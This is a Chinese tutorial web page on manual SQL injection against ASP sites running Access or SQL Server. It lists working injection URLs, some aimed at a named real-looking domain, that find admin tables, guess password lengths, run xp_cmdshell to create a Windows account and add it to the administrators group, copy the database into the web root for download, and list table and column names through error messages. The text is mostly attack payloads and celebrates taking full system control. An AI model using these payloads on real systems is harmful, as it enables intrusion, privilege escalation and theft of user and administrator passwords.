asp学习:手工注射asp学习

ACCESS

查询数据库类型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)

查询表admin页面返回正常显示为有为无
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)

查询admin表中项admin
/product.asp?sort_id=24 and exists (select admin_name from admin)

查询admin表中项admin里面内容长度 小于出错 等于返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7

暴力猜解admin表中项admin_name

SQL


①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句--表示后面语句为注释所以这句语句在SQLServer中将被分成两句执行先是Select出ID=1记录然后执行存储过程xp_cmdshell这个存储过程用于系统命令于是用net命令新建了用户名为name、密码为passwordwindows帐号接着:

②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--

  将新建帐号name加入管理员组不用两分钟你已经拿到了系统最高权限!当然这种思路方法只适用于用sa连接数据库情况否则是没有权限xp_cmdshell

  ③http://Site/url.asp?id=1 ;;and db_name>0

前面有个类似例子and user>0作用是获取连接用户名db_name是另个系统变量返回是连接数据库名

④http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:inetpubwwwroot.db’;--

这是相当狠从③拿到数据库名加上某些IIS出错暴露出绝对路径将数据库备份到Web目录下面再用HTTP把整个数据库就完完整整下载回来所有管理员及用户密码都览无遗!在不知道绝对路径时候还可以备份到网络地址思路方法(如\202.96.xx.xxShare.db)但成功率不高

  ⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过sysobjects是SQLServer系统表存储着所有表名、视图、约束及其它对象xtype=’U’ and status>0表示用户建立表名上面语句将第个表名取出和0比较大小让报错信息把表名暴露出来第 2、第 3个表名如何获取?还是留给我们聪明读者研究吧

⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后用object_id(‘表名’)获取表名对应内部IDcol_name(表名ID,1)代表该表第1个字段名将1换成2,3,4...就可以逐个获取所猜解表里面字段名


  • 篇文章: 手工注射JSP学习

  • 篇文章: 搜索型注入的我看---注入不分家
  • Tags:  asp.net学习网站 如何学习asp.net asp.net学习 asp学习

    延伸阅读

    最新评论

    发表评论